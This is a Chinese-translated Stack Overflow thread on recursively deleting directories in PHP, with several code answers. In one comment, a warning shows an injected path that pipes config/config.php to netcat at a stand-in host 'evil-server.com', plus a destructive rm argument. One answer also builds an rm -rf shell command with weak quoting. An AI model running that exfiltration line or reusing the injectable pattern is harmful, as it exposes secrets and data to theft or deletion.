PHP的递归删除目录函数?

28

我正在使用PHP将图库子文件夹中的内容移动到另一个文件夹中。移动后,我需要删除GalleryName目录和里面的所有东西。

我知道rmdir()函数只能在目录为空时才能使用。我已经尝试了一段时间构建一个递归函数,从顶部开始scandir(),然后如果它是一个文件就使用unlink(),如果是一个目录则再次使用scandir(),然后在每个空目录中使用rmdir()

到目前为止,它还不完全正确,我开始思考——难道这不是PHP应该能够处理的一个极其简单的功能吗?删除一个目录?

所以我是否缺少什么东西?或者至少有人用于此操作的已经被证明的函数吗?

非常感谢任何帮助。

PS:我相信你们所有在这里的人比php.net网站上的评论更可信-那里有数百个函数,但我很想知道你们中是否有任何人推荐某些函数而不是其他函数。


3
你考虑过使用带有 'rm -fr' 参数的 shell_exec() 函数吗?这不是最好的方法,但如果你知道你在做什么,它可以很好地工作。 - rogeriopvl
1
@rogeriopvl 非常危险,但如果你必须使用 shell escape 和真实路径函数。 - MADforFUNandHappy
7个回答

91
这个怎么样?
function rmdir_recursive($dirPath){
    if(!empty($dirPath) && is_dir($dirPath) ){
        $dirObj= new RecursiveDirectoryIterator($dirPath, RecursiveDirectoryIterator::SKIP_DOTS); //upper dirs not included,otherwise DISASTER HAPPENS :)
        $files = new RecursiveIteratorIterator($dirObj, RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($files as $path) 
            $path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
        rmdir($dirPath);
        return true;
    }
    return false;
}

13
+1 表示对最短的代码的肯定评价,也可能是最好和最快的解决方案 :) - tftd
1
不错,别忘了在foreach之后添加rmdir($dirPath),否则它只会删除文件。 - Ant
@Cooluhuru 添加了 rmdir() 调用。谢谢! - barbushin
3
$path->isFile() ? unlink($path->getPathname()) : rmdir($path->getPathname()); 应该改为 $path->isDir() ? rmdir($path->getPathname()) : unlink($path->getPathname()); 以便处理链接。 - mattalxndr
1
似乎是最佳解决方案,因为它显然可以在任何操作系统上运行。 - Francisco Luz
显示剩余2条评论

14

这是我创建/修改的递归函数,最终看起来似乎正常工作。希望里面没有太危险的东西。

function destroy_dir($dir) { 
    if (!is_dir($dir) || is_link($dir)) return unlink($dir); 
    foreach (scandir($dir) as $file) { 
        if ($file == '.' || $file == '..') continue; 
        if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) { 
            chmod($dir . DIRECTORY_SEPARATOR . $file, 0777); 
            if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) return false; 
        }; 
    } 
    return rmdir($dir); 
} 

这个函数很危险,应该使用 $file 而不是 $item! - johndodo

2

如果应用程序的服务器运行Linux,只需使用shell_exec()函数,并提供rm -R命令,如下所示:

    $realPath = realpath($dir_path);

    if($realPath === FALSE){
         throw new \Exception('Directory does not exist');
    }

    shell_exec("rm ". escapeshellarg($realPath) ." -R");

解释:

如果路径存在,则递归删除指定的目录,并转义该路径,以便仅可用作shell参数,避免shell命令注入。

如果不使用escapeshellarg,则可以通过将要删除的目录命名为命令来执行命令。


1
根据$dir_path的来源,您可能会引入非常严重的安全问题。假设我以某种方式设置$dir_path =“-F --no-preserve-root /”或者只是$dir_path =“; cat config/config.php | nc evil-server.com 80;”,那么可能性就是无穷无尽的。 - amenthes
@amenthes 是的,但你可以用realpath()来包装$dir_path以避免这种情况。 - MADforFUNandHappy
2
可以这样做,但上面的例子并没有这样做。而且现在这个建议是非常危险的。我写这篇文章时,这个答案已经被查看了32,000次。如果只有0.1%的人在错误的情况下照字面意思复制了这个答案,那么就会有32个人面临着严重的安全问题。 - amenthes

0
public static function rrmdir($dir)
{
    if (is_dir($dir)) {
        $files = scandir($dir);
        foreach ($files as $file) {
            if ($file != "." && $file != "..") {
                if (filetype($dir . "/" . $file) == "dir")
                    self::rrmdir($dir . "/" . $file);
                else
                    unlink($dir . "/" . $file);
            }
        }
        reset($files);
        rmdir($dir);
    }
}

0

我改编了一个处理带有点前缀的隐藏Unix文件并使用glob的函数:

public static function deleteDir($path) {
    if (!is_dir($path)) {
        throw new InvalidArgumentException("$path is not a directory");
    }
    if (substr($path, strlen($path) - 1, 1) != '/') {
        $path .= '/';
    }
    $dotfiles = glob($path . '.*', GLOB_MARK);
    $files = glob($path . '*', GLOB_MARK);
    $files = array_merge($files, $dotfiles);
    foreach ($files as $file) {
        if (basename($file) == '.' || basename($file) == '..') {
            continue;
        } else if (is_dir($file)) {
            self::deleteDir($file);
        } else {
            unlink($file);
        }
    }
    rmdir($path);
}

0

我更喜欢从php帮助页面http://php.net/manual/en/function.rmdir.php#115598派生出的增强方法。

 // check accidential empty, root or relative pathes
 if (!empty($path) && ...)
 {
  if (PHP_OS === 'Windows')
  {
    exec('rd /s /q "'.$path.'"');
  }
  else
  {
      exec('rm -rf "'.$path.'"');
  }
}
else
{
    error_log('path not valid:$path'.var_export($path, true));
}

我做出这个决定的原因:

  • 代码更少
  • 速度更快
  • 保持简单

0

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接